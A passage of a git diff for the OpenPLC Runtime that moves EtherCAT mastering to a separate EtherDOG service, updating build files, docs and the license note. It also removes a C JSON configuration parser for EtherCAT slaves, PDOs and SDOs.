diff --git a/.dockerignore b/.dockerignore index 3c4b4227..dd695943 100644 --- a/.dockerignore +++ b/.dockerignore @@ -24,3 +24,7 @@ core/src/drivers/plugins/python/modbus_slave/modbus_slave_config.json core/src/drivers/plugins/python/modbus_master/modbus_master.json core/src/drivers/plugins/python/opcua/opcua.json core/src/drivers/plugins/native/s7comm/s7comm_config.json + +# EtherDOG build trees (the source itself is copied in for the image build) +/etherdog/build*/ +/third_party/etherdog/build/ diff --git a/.gitignore b/.gitignore index aafd6a9c..370fa08b 100644 --- a/.gitignore +++ b/.gitignore @@ -40,3 +40,7 @@ core/src/drivers/plugins/native/ethercat/libs/soem/cmake/CYGWIN.cmake *.o *.so .DS_Store + +# EtherDOG (EtherCAT master service) source, fetched or copied in by install.sh +/etherdog/ +/third_party/ diff --git a/.gitmodules b/.gitmodules deleted file mode 100644 index 534bf52a..00000000 --- a/.gitmodules +++ /dev/null @@ -1,3 +0,0 @@ -[submodule "core/src/drivers/plugins/native/ethercat/libs/soem"] - path = core/src/drivers/plugins/native/ethercat/libs/soem - url = https://github.com/OpenEtherCATsociety/SOEM.git diff --git a/CLAUDE.md b/CLAUDE.md index c4659d28..13c953f2 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -148,6 +148,11 @@ State management: `core/src/plc_app/plc_state_manager.cpp` - **Driver code**: `core/src/drivers/` - **Plugin examples**: `core/src/drivers/plugins/python/` and `core/src/drivers/plugins/native/` +### EtherCAT +- **Master**: EtherDOG, a separate process (`build/etherdog`) supervised by `webserver/etherdog_manager.py` +- **Client plugin**: `core/src/drivers/plugins/native/ethercat/` joins EtherDOG's layout with `ethercat_iomapping.json` +- Details: `docs/ETHERCAT.md` + ### Key Subsystems - **Scan cycle tracker**: `core/src/plc_app/scan_cycle_manager.c` - scan timing statistics - **Debug handler**: `core/src/plc_app/debug_handler.c` - STruC++ debugger PDUs (function codes 0x41-0x45); diff --git a/README.md b/README.md index 5aeb6001..8cd6a21f 100644 --- a/README.md +++ b/README.md @@ -287,7 +287,7 @@ The installation script will: 3. Create Python virtual environment at `venvs/runtime/` 4. Install Python dependencies 5. Compile the PLC runtime core with CMake -6. Build native plugins (e.g., EtherCAT, S7comm) +6. Build native plugins (e.g., EtherCAT client, S7comm) and EtherDOG, the EtherCAT master service 7. Install and start a systemd service (`openplc-runtime`) when systemd is available ### Manual Build diff --git a/VERSION b/VERSION index 1f69a7da..9ca23982 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -v4.2.4 +v4.3.0 diff --git a/core/src/drivers/README.md b/core/src/drivers/README.md index b40adeb6..a3525be6 100644 --- a/core/src/drivers/README.md +++ b/core/src/drivers/README.md @@ -746,7 +746,7 @@ void plugin_driver_destroy(plugin_driver_t *driver); ## License -This plugin system is part of the OpenPLC Runtime project and follows the same licensing terms (typically GPLv3 or later). +This plugin system is part of the OpenPLC Runtime and is licensed under the MIT License (see the top-level `LICENSE`). Plugins can carry their own license: the S7comm plugin is LGPLv3 or later, matching the Snap7 library it links. ## Contributing diff --git a/core/src/drivers/plugins/native/ethercat/CMakeLists.txt b/core/src/drivers/plugins/native/ethercat/CMakeLists.txt index 5126f2b2..9307052e 100644 --- a/core/src/drivers/plugins/native/ethercat/CMakeLists.txt +++ b/core/src/drivers/plugins/native/ethercat/CMakeLists.txt @@ -1,5 +1,7 @@ -# CMakeLists.txt for EtherCAT Plugin -# Builds a self-contained EtherCAT plugin with SOEM library included +# SPDX-License-Identifier: MIT +# Copyright (c) 2026 Autonomy® +# +# EtherCAT client plugin: relays process data between EtherDOG and the image tables. cmake_minimum_required(VERSION 3.10) project(ethercat_plugin C) @@ -8,166 +10,18 @@ set(CMAKE_C_STANDARD 11) set(CMAKE_C_STANDARD_REQUIRED ON) set(CMAKE_POSITION_INDEPENDENT_CODE ON) -# Determine OpenPLC root directory for finding common headers -# When building standalone: calculate from plugin location -# When building from main project: pass -DOPENPLC_ROOT= if(NOT DEFINED OPENPLC_ROOT) get_filename_component(OPENPLC_ROOT "${CMAKE_CURRENT_SOURCE_DIR}/../../../../../../" ABSOLUTE) endif() -message(STATUS "EtherCAT Plugin - OpenPLC root: ${OPENPLC_ROOT}") - -# ============================================================================= -# SOEM Library (built via add_subdirectory for proper ec_options.h generation) -# ============================================================================= - -set(SOEM_DIR ${CMAKE_CURRENT_SOURCE_DIR}/libs/soem) -set(SOEM_BUILD_SAMPLES OFF CACHE BOOL "Disable SOEM samples" FORCE) - -# On MSYS2/Cygwin, SOEM ships no platform cmake file (only Linux.cmake, -# Windows.cmake, rt-kernel.cmake exist). Generate one from the Win32 -# variant because MSYS2 can use Win32 OSAL/OSHW through w32api headers -# while the Linux OSHW needs AF_PACKET raw sockets which are unavailable. -if(CMAKE_SYSTEM_NAME STREQUAL "MSYS" OR CMAKE_SYSTEM_NAME STREQUAL "CYGWIN") - set(_SOEM_PLATFORM_CMAKE "${SOEM_DIR}/cmake/${CMAKE_SYSTEM_NAME}.cmake") - message(STATUS "EtherCAT Plugin - Generating ${CMAKE_SYSTEM_NAME}.cmake for SOEM (Win32 OSAL/OSHW via w32api)") - file(WRITE "${_SOEM_PLATFORM_CMAKE}" "\ -# Auto-generated for ${CMAKE_SYSTEM_NAME} -- based on Windows.cmake\n\ -# Uses Win32 OSAL/OSHW accessible through w32api on MSYS2/Cygwin.\n\ -\n\ -target_sources(soem PRIVATE\n\ - osal/win32/osal.c\n\ - osal/win32/osal_defs.h\n\ - oshw/win32/oshw.c\n\ - oshw/win32/oshw.h\n\ - oshw/win32/nicdrv.c\n\ - oshw/win32/nicdrv.h\n\ -)\n\ -\n\ -target_include_directories(soem PUBLIC\n\ - $\n\ - $\n\ - $\n\ - $\n\ -)\n\ -\n\ -target_compile_options(soem PUBLIC\n\ - $<$:-std=c11>\n\ -)\n\ -\n\ -# WIN32 is NOT predefined by MSYS2/Cygwin GCC, but the bundled\n\ -# wpcap headers (pcap/pcap.h:40) need it to route to pcap-stdinc.h.\n\ -# HAVE_U_INT*_T tells bundled bittypes.h to skip its typedefs --\n\ -# MSYS2 POSIX headers (sys/types.h) already provide these types and\n\ -# use different underlying types on LP64 (long vs long long for 64-bit).\n\ -#\n\ -# __USE_W32_SOCKETS tells MSYS2 / Cygwin's POSIX headers\n\ -# (\`sys/select.h\`, \`sys/unistd.h\`) NOT to declare their own \`select\`\n\ -# and \`gethostname\` — the Win32 \`winsock2.h\` declarations (which the\n\ -# bundled wpcap headers pull in transitively) are the ones we want\n\ -# to use. Without this, any TU that includes both a POSIX header\n\ -# (e.g. \`\` in ethercat_plugin.c, which transitively pulls\n\ -# in sys/select.h) AND a SOEM/wpcap header (which pulls in\n\ -# winsock2.h) gets a redeclaration error because the two libcs\n\ -# disagree on the signature ( \`struct timeval *\` vs \`const TIMEVAL *\`,\n\ -# \`size_t\` vs \`int\`). Marking the macro PUBLIC propagates it to\n\ -# every target linking against soem (notably ethercat_plugin).\n\ -target_compile_definitions(soem PUBLIC\n\ - WIN32\n\ - __USE_W32_SOCKETS\n\ - HAVE_U_INT8_T\n\ - HAVE_U_INT16_T\n\ - HAVE_U_INT32_T\n\ - HAVE_U_INT64_T\n\ - # pcap-stdinc.h redefines snprintf to _snprintf when _MSC_VER is\n\ - # undefined (preprocessor treats it as 0, so 0 < 1500 is true).\n\ - # Map _snprintf back to snprintf so MinGW GCC resolves the call.\n\ - _snprintf=snprintf\n\ - _vsnprintf=vsnprintf\n\ -)\n\ -\n\ -foreach(target IN ITEMS\n\ - soem\n\ - ec_sample\n\ - eepromtool\n\ - eni_test\n\ - eoe_test\n\ - firm_update\n\ - simple_ng\n\ - slaveinfo)\n\ - if (TARGET \${target})\n\ - target_compile_options(\${target} PRIVATE\n\ - $<$:\n\ - -Wall\n\ - -Wextra\n\ - -Wno-unused-parameter\n\ - >\n\ - )\n\ - endif()\n\ -endforeach()\n\ -\n\ -if(CMAKE_SIZEOF_VOID_P EQUAL 8)\n\ - set(WPCAP_LIB_PATH \${SOEM_SOURCE_DIR}/oshw/win32/wpcap/Lib/x64)\n\ - target_link_libraries(soem PUBLIC\n\ - \${WPCAP_LIB_PATH}/wpcap.lib\n\ - \${WPCAP_LIB_PATH}/Packet.lib\n\ - )\n\ -elseif(CMAKE_SIZEOF_VOID_P EQUAL 4)\n\ - set(WPCAP_LIB_PATH \${SOEM_SOURCE_DIR}/oshw/win32/wpcap/Lib)\n\ - target_link_libraries(soem PUBLIC\n\ - \${WPCAP_LIB_PATH}/libwpcap.a\n\ - \${WPCAP_LIB_PATH}/libpacket.a\n\ - )\n\ -endif()\n\ -\n\ -target_link_libraries(soem PUBLIC ws2_32 winmm)\n\ -\n\ -install(FILES\n\ - osal/win32/osal_defs.h\n\ - oshw/win32/nicdrv.h\n\ - DESTINATION include/soem\n\ -)\n\ -") - unset(_SOEM_PLATFORM_CMAKE) -endif() - -add_subdirectory(${SOEM_DIR} ${CMAKE_CURRENT_BINARY_DIR}/soem) - -# ============================================================================= -# cJSON Library (shared utility for all native plugins) -# ============================================================================= - -set(CJSON_SOURCES - ${OPENPLC_ROOT}/core/src/drivers/plugins/native/cjson/cJSON.c -) - -# ============================================================================= -# Plugin Source Files -# ============================================================================= - -set(PLUGIN_SOURCES +add_library(ethercat_plugin SHARED ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_plugin.c - ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_config.c - ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_master.c - ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_io.c - ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_proc.c - ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_iface_state.c + ${CMAKE_CURRENT_SOURCE_DIR}/etherdog_link.c + ${CMAKE_CURRENT_SOURCE_DIR}/ethercat_iomap.c + ${OPENPLC_ROOT}/core/src/drivers/plugins/native/cjson/cJSON.c ${OPENPLC_ROOT}/core/src/drivers/plugins/native/plugin_logger.c ) -# ============================================================================= -# Create Shared Library -# ============================================================================= - -add_library(ethercat_plugin SHARED - ${CJSON_SOURCES} - ${PLUGIN_SOURCES} -) - -# ============================================================================= -# Include Directories -# ============================================================================= - target_include_directories(ethercat_plugin PRIVATE ${CMAKE_CURRENT_SOURCE_DIR} ${OPENPLC_ROOT}/core/src/drivers/plugins/native/cjson @@ -176,52 +30,23 @@ target_include_directories(ethercat_plugin PRIVATE ${OPENPLC_ROOT}/core/src/lib ) -# ============================================================================= -# Compiler Options -# ============================================================================= - -target_compile_options(ethercat_plugin PRIVATE - -fPIC - -Wno-unused-parameter - -Wno-sign-compare -) +target_compile_options(ethercat_plugin PRIVATE -Wall -Wextra -Wno-unused-parameter) +target_link_libraries(ethercat_plugin PRIVATE pthread) -# ============================================================================= -# Link Libraries -# ============================================================================= - -target_link_libraries(ethercat_plugin PRIVATE - soem - ${CMAKE_DL_LIBS} -) - -# On MSYS2/Cygwin, ensure plugin API symbols (init, start_loop, etc.) are -# exported from the shared library so that dlsym() can resolve them. +# MSYS2/Cygwin: export the plugin entry points so dlsym() resolves them. if(CMAKE_SYSTEM_NAME STREQUAL "MSYS" OR CMAKE_SYSTEM_NAME STREQUAL "CYGWIN") - set_target_properties(ethercat_plugin PROPERTIES - LINK_FLAGS "-Wl,--export-all-symbols" - ) + set_target_properties(ethercat_plugin PROPERTIES LINK_FLAGS "-Wl,--export-all-symbols") endif() -# ============================================================================= -# Output Settings -# ============================================================================= - set_target_properties(ethercat_plugin PROPERTIES LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/plugins PREFIX "lib" OUTPUT_NAME "ethercat_plugin" ) - -# On Linux, use .so extension if(UNIX) set_target_properties(ethercat_plugin PROPERTIES SUFFIX ".so") endif() -# ============================================================================= -# Install Target -# ============================================================================= - install(TARGETS ethercat_plugin LIBRARY DESTINATION lib/openplc/plugins RUNTIME DESTINATION lib/openplc/plugins diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_config.c b/core/src/drivers/plugins/native/ethercat/ethercat_config.c deleted file mode 100644 index 0341ec45..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_config.c +++ /dev/null @@ -1,1051 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_config.c - * @brief EtherCAT Plugin Configuration Parser Implementation - * - * Parses JSON configuration files using the cJSON library. - * The JSON format follows the contract defined by the OpenPLC Editor: - * [{ "name": "ethercat_master", "protocol": "ETHERCAT", "config": { ... } }] - */ - -#include "ethercat_config.h" -#include "cJSON.h" - -#include -#include -#include -#include -#include -#include -#include - -/* ------------------------------------------------------------------ */ -/* Diagnostic logging */ -/* ------------------------------------------------------------------ */ - -/* Shared plugin logger. Must be set via ecat_config_set_logger() in - * plugin init() before any ecat_config_parse* call. Read-only after - * setup, no concurrency. */ -static plugin_logger_t *g_config_logger = NULL; - -void ecat_config_set_logger(plugin_logger_t *logger) -{ - g_config_logger = logger; -} - -/** Linux IFNAMSIZ is 16; valid iface names are 1..15 chars. */ -#define ECAT_LINUX_IFNAME_MAX 16 - -bool ecat_iface_validate(const char *iface, ecat_iface_validate_mode_t mode) -{ - if (iface == NULL) - return false; - size_t len = strlen(iface); - if (len == 0) - return false; - - if (mode == ECAT_IFACE_LINUX_STRICT) { - if (len >= ECAT_LINUX_IFNAME_MAX) - return false; - if (!isalpha((unsigned char)iface[0])) - return false; - for (size_t i = 0; i < len; i++) { - unsigned char c = (unsigned char)iface[i]; - if (!isalnum(c) && c != '_' && c != '-') - return false; - } - return true; - } - - /* ECAT_IFACE_ANY_PLATFORM: Linux names + Windows NPF device paths */ - if (len >= ECAT_IFNAME_MAX) - return false; - for (size_t i = 0; i < len; i++) { - unsigned char c = (unsigned char)iface[i]; - if (!isalnum(c) && c != '_' && c != '-' && - c != '\\' && c != '{' && c != '}' && c != '.') - return false; - } - return true; -} - -bool ecat_is_valid_iface_name(const char *iface) -{ - return ecat_iface_validate(iface, ECAT_IFACE_LINUX_STRICT); -} - -/* - * ============================================================================= - * Helper Functions - * ============================================================================= - */ - -/** - * @brief Read entire file into a string - */ -static char *read_file(const char *path) -{ - FILE *fp = fopen(path, "rb"); - if (fp == NULL) { - return NULL; - } - - fseek(fp, 0, SEEK_END); - long size = ftell(fp); - fseek(fp, 0, SEEK_SET); - - if (size <= 0 || size > 1024 * 1024) { /* Max 1MB config file */ - fclose(fp); - return NULL; - } - - char *buffer = (char *)malloc(size + 1); - if (buffer == NULL) { - fclose(fp); - return NULL; - } - - size_t read_size = fread(buffer, 1, size, fp); - fclose(fp); - - if ((long)read_size != size) { - free(buffer); - return NULL; - } - - buffer[size] = '\0'; - return buffer; -} - -/** - * @brief Safely copy string with length limit - */ -static void safe_strcpy(char *dest, const char *src, size_t max_len) -{ - if (src == NULL) { - dest[0] = '\0'; - return; - } - strncpy(dest, src, max_len - 1); - dest[max_len - 1] = '\0'; -} - -/** - * @brief Get string value from JSON object - */ -static const char *get_string(const cJSON *obj, const char *key, const char *default_val) -{ - const cJSON *item = cJSON_GetObjectItemCaseSensitive(obj, key); - if (cJSON_IsString(item) && item->valuestring != NULL) { - return item->valuestring; - } - return default_val; -} - -/** - * @brief Get integer value from JSON object - */ -static int get_int(const cJSON *obj, const char *key, int default_val) -{ - const cJSON *item = cJSON_GetObjectItemCaseSensitive(obj, key); - if (cJSON_IsNumber(item)) { - return item->valueint; - } - return default_val; -} - -/** - * @brief Get a numeric value from a JSON field that may be a number or a string. - * - * Handles: - * - JSON numbers (cJSON_IsNumber) - * - Decimal strings ("100", "-50") - * - Hex strings ("0xFF", "0x1A") - * - Float strings ("3.14", "-1.5e2") - * - * @return The parsed value, or default_val on missing/empty/unparseable input. - */ -static double get_numeric_value(const cJSON *obj, const char *key, double default_val) -{ - const cJSON *item = cJSON_GetObjectItemCaseSensitive(obj, key); - if (item == NULL) - return default_val; - - if (cJSON_IsNumber(item)) - return item->valuedouble; - - if (cJSON_IsString(item) && item->valuestring != NULL && item->valuestring[0] != '\0') { - const char *str = item->valuestring; - char *endptr = NULL; - - /* Check for hex prefix */ - if (str[0] == '0' && (str[1] == 'x' || str[1] == 'X')) { - long long hex_val = strtoll(str, &endptr, 16); - if (endptr != str && *endptr == '\0') - return (double)hex_val; - return default_val; - } - - /* Try parsing as double (covers integers, floats, negative, scientific) */ - double dval = strtod(str, &endptr); - if (endptr != str && *endptr == '\0') - return dval; - } - - return default_val; -} - -/** - * @brief Get boolean value from JSON object - */ -static bool get_bool(const cJSON *obj, const char *key, bool default_val) -{ - const cJSON *item = cJSON_GetObjectItemCaseSensitive(obj, key); - if (cJSON_IsBool(item)) { - return cJSON_IsTrue(item); - } - return default_val; -} - -/** - * @brief Convert hex string (e.g. "0x00000002") to uint32_t - */ -static uint32_t hex_to_uint32(const char *hex_str) -{ - if (hex_str == NULL) { - return 0; - } - return (uint32_t)strtoul(hex_str, NULL, 16); -} - -/** - * @brief Case-insensitive string comparison - */ -static int strcasecmp_local(const char *a, const char *b) -{ - while (*a && *b) { - int diff = tolower((unsigned char)*a) - tolower((unsigned char)*b); - if (diff != 0) - return diff; - a++; - b++; - } - return tolower((unsigned char)*a) - tolower((unsigned char)*b); -} - -ecat_data_type_t ecat_parse_data_type(const char *str) -{ - if (str == NULL || str[0] == '\0') - return ECAT_DTYPE_UNKNOWN; - - /* Boolean */ - if (strcasecmp_local(str, "BOOL") == 0) - return ECAT_DTYPE_BOOL; - - /* 8-bit integer */ - if (strcasecmp_local(str, "INT8") == 0 || strcasecmp_local(str, "SINT") == 0) - return ECAT_DTYPE_INT8; - if (strcasecmp_local(str, "UINT8") == 0 || strcasecmp_local(str, "USINT") == 0 || - strcasecmp_local(str, "BYTE") == 0) - return ECAT_DTYPE_UINT8; - - /* 16-bit integer */ - if (strcasecmp_local(str, "INT16") == 0 || strcasecmp_local(str, "INT") == 0) - return ECAT_DTYPE_INT16; - if (strcasecmp_local(str, "UINT16") == 0 || strcasecmp_local(str, "UINT") == 0 || - strcasecmp_local(str, "WORD") == 0) - return ECAT_DTYPE_UINT16; - - /* 32-bit integer */ - if (strcasecmp_local(str, "INT32") == 0 || strcasecmp_local(str, "DINT") == 0) - return ECAT_DTYPE_INT32; - if (strcasecmp_local(str, "UINT32") == 0 || strcasecmp_local(str, "UDINT") == 0 || - strcasecmp_local(str, "DWORD") == 0) - return ECAT_DTYPE_UINT32; - - /* 64-bit integer */ - if (strcasecmp_local(str, "INT64") == 0 || strcasecmp_local(str, "LINT") == 0) - return ECAT_DTYPE_INT64; - if (strcasecmp_local(str, "UINT64") == 0 || strcasecmp_local(str, "ULINT") == 0 || - strcasecmp_local(str, "LWORD") == 0) - return ECAT_DTYPE_UINT64; - - /* 32-bit float (REAL) */ - if (strcasecmp_local(str, "REAL") == 0 || strcasecmp_local(str, "REAL32") == 0 || - strcasecmp_local(str, "FLOAT") == 0) - return ECAT_DTYPE_REAL32; - - /* 64-bit float (LREAL) */ - if (strcasecmp_local(str, "LREAL") == 0 || strcasecmp_local(str, "REAL64") == 0 || - strcasecmp_local(str, "DOUBLE") == 0) - return ECAT_DTYPE_REAL64; - - /* Padding */ - if (strcasecmp_local(str, "PAD") == 0) - return ECAT_DTYPE_PAD; - - return ECAT_DTYPE_UNKNOWN; -} - -/* - * ============================================================================= - * Section Parsers - * ============================================================================= - */ - -/** - * @brief Parse master configuration from JSON - */ -static void parse_master_section(const cJSON *master, ecat_master_config_t *config) -{ - /* Defaults applied even when the "master" object is absent. */ - config->safe_close = true; - - if (master == NULL) { - return; - } - - safe_strcpy(config->interface, get_string(master, "interface", "eth0"), sizeof(config->interface)); - config->cycle_time_us = get_int(master, "cycle_time_us", 1000); - config->receive_timeout_us = get_int(master, "receive_timeout_us", 2000); - config->watchdog_timeout_cycles = get_int(master, "watchdog_timeout_cycles", 3); - safe_strcpy(config->log_level, get_string(master, "log_level", "info"), sizeof(config->log_level)); - config->task_priority = get_int(master, "task_priority", 90); - config->safe_close = get_bool(master, "safe_close", true); -} - -/** - * @brief Parse diagnostics configuration from JSON - */ -static void parse_diagnostics_section(const cJSON *diag, ecat_diagnostics_config_t *config) -{ - if (diag == NULL) { - return; - } - - config->log_connections = get_bool(diag, "log_connections", true); - config->log_data_access = get_bool(diag, "log_data_access", false); - config->log_errors = get_bool(diag, "log_errors", true); - config->max_log_entries = get_int(diag, "max_log_entries", 10000); - config->status_update_interval_ms = get_int(diag, "status_update_interval_ms", 500); -} - -/** - * @brief Parse a single PDO entry from JSON - */ -static int parse_pdo_entry(const cJSON *entry_json, ecat_pdo_entry_t *entry) -{ - if (entry_json == NULL || entry == NULL) { - return ECAT_CONFIG_ERR_INVALID; - } - - safe_strcpy(entry->index, get_string(entry_json, "index", "0x0000"), sizeof(entry->index)); - entry->subindex = (uint8_t)get_int(entry_json, "subindex", 0); - entry->bit_length = (uint8_t)get_int(entry_json, "bit_length", 0); - safe_strcpy(entry->name, get_string(entry_json, "name", ""), sizeof(entry->name)); - entry->parsed_type = ecat_parse_data_type(get_string(entry_json, "data_type", "")); - - return ECAT_CONFIG_OK; -} - -/** - * @brief Parse a single PDO from JSON - */ -static int parse_pdo(const cJSON *pdo_json, ecat_pdo_t *pdo) -{ - if (pdo_json == NULL || pdo == NULL) { - return ECAT_CONFIG_ERR_INVALID; - } - - safe_strcpy(pdo->index, get_string(pdo_json, "index", "0x0000"), sizeof(pdo->index)); - safe_strcpy(pdo->name, get_string(pdo_json, "name", ""), sizeof(pdo->name)); - - pdo->entry_count = 0; - const cJSON *entries = cJSON_GetObjectItemCaseSensitive(pdo_json, "entries"); - if (entries != NULL && cJSON_IsArray(entries)) { - const cJSON *entry_json; - cJSON_ArrayForEach(entry_json, entries) { - if (pdo->entry_count >= ECAT_MAX_PDO_ENTRIES) { - break; - } - if (parse_pdo_entry(entry_json, &pdo->entries[pdo->entry_count]) == ECAT_CONFIG_OK) { - pdo->entry_count++; - } - } - } - - return ECAT_CONFIG_OK; -} - -/** - * @brief Parse an array of PDOs (rx_pdos or tx_pdos) from JSON - */ -static int parse_pdo_array(const cJSON *pdo_array, ecat_pdo_t *pdos, int *pdo_count) -{ - *pdo_count = 0; - - if (pdo_array == NULL || !cJSON_IsArray(pdo_array)) { - return ECAT_CONFIG_OK; - } - - const cJSON *pdo_json; - cJSON_ArrayForEach(pdo_json, pdo_array) { - if (*pdo_count >= ECAT_MAX_PDOS) { - break; - } - if (parse_pdo(pdo_json, &pdos[*pdo_count]) == ECAT_CONFIG_OK) { - (*pdo_count)++; - } - } - - return ECAT_CONFIG_OK; -} - -/** - * @brief Check whether a JSON-derived double value fits the wire type. - * - * Catches NaN/Inf and out-of-range values that would silently wrap or - * trigger UB during the cast in ecat_master_write_sdos. For INT64/UINT64 - * the bound is the largest magnitude that double can represent; values - * above that lose precision before reaching the parser, so the check is - * grosso modo by design. - */ -static bool sdo_value_in_range(ecat_data_type_t dt, double v) -{ - if (isnan(v) || isinf(v)) - return false; - switch (dt) { - case ECAT_DTYPE_BOOL: return v == 0.0 || v == 1.0; - case ECAT_DTYPE_INT8: return v >= INT8_MIN && v <= INT8_MAX; - case ECAT_DTYPE_UINT8: return v >= 0 && v <= UINT8_MAX; - case ECAT_DTYPE_INT16: return v >= INT16_MIN && v <= INT16_MAX; - case ECAT_DTYPE_UINT16: return v >= 0 && v <= UINT16_MAX; - case ECAT_DTYPE_INT32: return v >= INT32_MIN && v <= INT32_MAX; - case ECAT_DTYPE_UINT32: return v >= 0 && v <= UINT32_MAX; - case ECAT_DTYPE_INT64: return v >= -9.223372036854776e18 && v <= 9.223372036854776e18; - case ECAT_DTYPE_UINT64: return v >= 0 && v <= 1.844674407370955e19; - case ECAT_DTYPE_REAL32: return v >= -FLT_MAX && v <= FLT_MAX; - case ECAT_DTYPE_REAL64: return true; - case ECAT_DTYPE_UNKNOWN: - case ECAT_DTYPE_PAD: return false; - } - return false; -} - -/** - * @brief Parse a single SDO configuration from JSON. - * - * Strict: malformed entries are rejected with a contextual error message - * (index, subindex, type) so the operator can locate the bad SDO without - * grepping warnings during bus open. - * - * @return ECAT_CONFIG_OK on success, error code otherwise. - */ -static int parse_sdo(const cJSON *sdo_json, ecat_sdo_config_t *sdo) -{ - if (sdo_json == NULL || sdo == NULL) - return ECAT_CONFIG_ERR_INVALID; - - /* index: required, accepts hex (0x...) or decimal via base 0; range 0x0001..0xFFFF */ - const char *idx_str = get_string(sdo_json, "index", NULL); - if (idx_str == NULL || idx_str[0] == '\0') { - plugin_logger_error(g_config_logger, "SDO entry missing 'index'"); - return ECAT_CONFIG_ERR_MISSING; - } - char *endptr = NULL; - unsigned long idx = strtoul(idx_str, &endptr, 0); - if (endptr == idx_str || *endptr != '\0' || idx == 0 || idx > 0xFFFF) { - plugin_logger_error(g_config_logger, - "SDO 'index' invalid: '%s' (expected hex 0x0001..0xFFFF or decimal 1..65535)", - idx_str); - return ECAT_CONFIG_ERR_INVALID; - } - snprintf(sdo->index, sizeof(sdo->index), "0x%04lX", idx); - - /* subindex: optional, default 0 (single-entry SDOs). When present must be 0..255 */ - const cJSON *si = cJSON_GetObjectItemCaseSensitive(sdo_json, "subindex"); - if (si == NULL) { - sdo->subindex = 0; - } else if (cJSON_IsNumber(si) && si->valueint >= 0 && si->valueint <= 255) { - sdo->subindex = (uint8_t)si->valueint; - } else { - plugin_logger_error(g_config_logger, - "SDO %s 'subindex' invalid (must be number 0..255)", sdo->index); - return ECAT_CONFIG_ERR_INVALID; - } - - /* data_type: required, must resolve to a known type (UNKNOWN/PAD reject) */ - const char *dtype_str = get_string(sdo_json, "data_type", ""); - sdo->parsed_type = ecat_parse_data_type(dtype_str); - if (sdo->parsed_type == ECAT_DTYPE_UNKNOWN || sdo->parsed_type == ECAT_DTYPE_PAD) { - plugin_logger_error(g_config_logger, - "SDO %s:%d 'data_type' invalid: '%s' " - "(use BOOL/INT8/UINT8/INT16/UINT16/INT32/UINT32/INT64/UINT64/REAL/LREAL)", - sdo->index, sdo->subindex, dtype_str); - return ECAT_CONFIG_ERR_INVALID; - } - - /* value: optional with default 0. When present must fit the wire type. */ - sdo->value = get_numeric_value(sdo_json, "value", 0.0); - if (!sdo_value_in_range(sdo->parsed_type, sdo->value)) { - plugin_logger_error(g_config_logger, - "SDO %s:%d 'value' %g out of range for type %s", - sdo->index, sdo->subindex, sdo->value, - ecat_data_type_to_string(sdo->parsed_type)); - return ECAT_CONFIG_ERR_INVALID; - } - - safe_strcpy(sdo->name, get_string(sdo_json, "name", ""), sizeof(sdo->name)); - return ECAT_CONFIG_OK; -} - -/** - * @brief Parse a single channel from JSON - */ -static int parse_channel(const cJSON *ch_json, ecat_channel_t *channel) -{ - if (ch_json == NULL || channel == NULL) { - return ECAT_CONFIG_ERR_INVALID; - } - - channel->index = get_int(ch_json, "index", 0); - safe_strcpy(channel->name, get_string(ch_json, "name", ""), sizeof(channel->name)); - safe_strcpy(channel->type, get_string(ch_json, "type", ""), sizeof(channel->type)); - channel->bit_length = (uint8_t)get_int(ch_json, "bit_length", 0); - safe_strcpy(channel->iec_location, get_string(ch_json, "iec_location", ""), sizeof(channel->iec_location)); - safe_strcpy(channel->pdo_index, get_string(ch_json, "pdo_index", ""), sizeof(channel->pdo_index)); - safe_strcpy(channel->pdo_entry_index, get_string(ch_json, "pdo_entry_index", ""), sizeof(channel->pdo_entry_index)); - channel->pdo_entry_subindex = (uint8_t)get_int(ch_json, "pdo_entry_subindex", 0); - - return ECAT_CONFIG_OK; -} - -/** - * @brief Parse a single slave configuration from JSON - */ -static int parse_slave(const cJSON *slave_json, ecat_slave_t *slave) -{ - if (slave_json == NULL || slave == NULL) { - return ECAT_CONFIG_ERR_INVALID; - } - - memset(slave, 0, sizeof(ecat_slave_t)); - - slave->position = get_int(slave_json, "position", 0); - safe_strcpy(slave->name, get_string(slave_json, "name", ""), sizeof(slave->name)); - safe_strcpy(slave->type, get_string(slave_json, "type", "coupler"), sizeof(slave->type)); - - /* Convert hex string vendor_id, product_code, revision to uint32_t */ - slave->vendor_id = hex_to_uint32(get_string(slave_json, "vendor_id", "0x0")); - slave->product_code = hex_to_uint32(get_string(slave_json, "product_code", "0x0")); - slave->revision = hex_to_uint32(get_string(slave_json, "revision", "0x0")); - - /* Parse channels */ - slave->channel_count = 0; - const cJSON *channels = cJSON_GetObjectItemCaseSensitive(slave_json, "channels"); - if (channels != NULL && cJSON_IsArray(channels)) { - const cJSON *ch_json; - cJSON_ArrayForEach(ch_json, channels) { - if (slave->channel_count >= ECAT_MAX_CHANNELS) { - break; - } - if (parse_channel(ch_json, &slave->channels[slave->channel_count]) == ECAT_CONFIG_OK) { - slave->channel_count++; - } - } - } - - /* Parse SDO configurations. A malformed SDO aborts the slave entirely: - * a partial SDO write set leaves the slave in an undefined state, so - * fail-fast at parse time forces the operator to fix the JSON. */ - slave->sdo_count = 0; - const cJSON *sdos = cJSON_GetObjectItemCaseSensitive(slave_json, "sdo_configurations"); - if (sdos != NULL && cJSON_IsArray(sdos)) { - const cJSON *sdo_json; - cJSON_ArrayForEach(sdo_json, sdos) { - if (slave->sdo_count >= ECAT_MAX_SDOS) { - plugin_logger_error(g_config_logger, - "Slave '%s' position %d: SDO count exceeds ECAT_MAX_SDOS=%d", - slave->name, slave->position, ECAT_MAX_SDOS); - return ECAT_CONFIG_ERR_INVALID; - } - int prc = parse_sdo(sdo_json, &slave->sdo_configs[slave->sdo_count]); - if (prc != ECAT_CONFIG_OK) { - plugin_logger_error(g_config_logger, - "Slave '%s' position %d: SDO entry rejected (rc=%d) -- aborting slave parse", - slave->name, slave->position, prc); - return prc; - } - slave->sdo_count++; - } - } - - /* Parse RxPDOs and TxPDOs */ - 